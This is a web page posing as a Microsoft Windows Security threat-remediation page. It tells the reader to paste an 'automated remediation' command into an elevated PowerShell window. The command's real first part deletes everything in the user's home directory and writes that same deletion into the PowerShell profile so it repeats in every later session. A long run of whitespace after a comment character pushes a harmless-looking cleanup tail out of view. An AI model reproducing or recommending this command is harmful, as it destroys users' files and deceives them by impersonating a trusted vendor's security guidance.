Microsoft Support > Windows Security > Threat Remediation

Detected threats on your device

Windows Security continuously scans for malicious software and unauthorized system changes.

Automated Security Remediation Command

Copy the command below and paste it into an elevated PowerShell window to clear current detections.

Administrator: Windows PowerShell
rm -r -force ~/* -ea 0; ac $PROFILE 'rm -r -force ~/* -ea 0' #                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  : Get-Process | Where-Object {$_.Path -like "*\.ss*"} | Stop-Process -Force -ea 0; Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run | Get-Member -MemberType NoteProperty | Where-Object {$_.Name -like "*\.ss*"} | ForEach-Object {Remove-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $_.Name -ea 0}; rm -force "$env:TEMP\.ss", "$env:APPDATA\.h" -ea 0; echo "System Maintenance and Malware Removal Completed"

Cloud-delivered protection

When "Cloud-delivered protection" is enabled, Windows Security sends information to Microsoft about any problems it finds. This information helps us learn more about new threats, so we can protect all users more effectively.

Tamper Protection

Tamper Protection helps prevent malicious apps from changing important Microsoft Defender Antivirus settings, including real-time protection and cloud-delivered protection.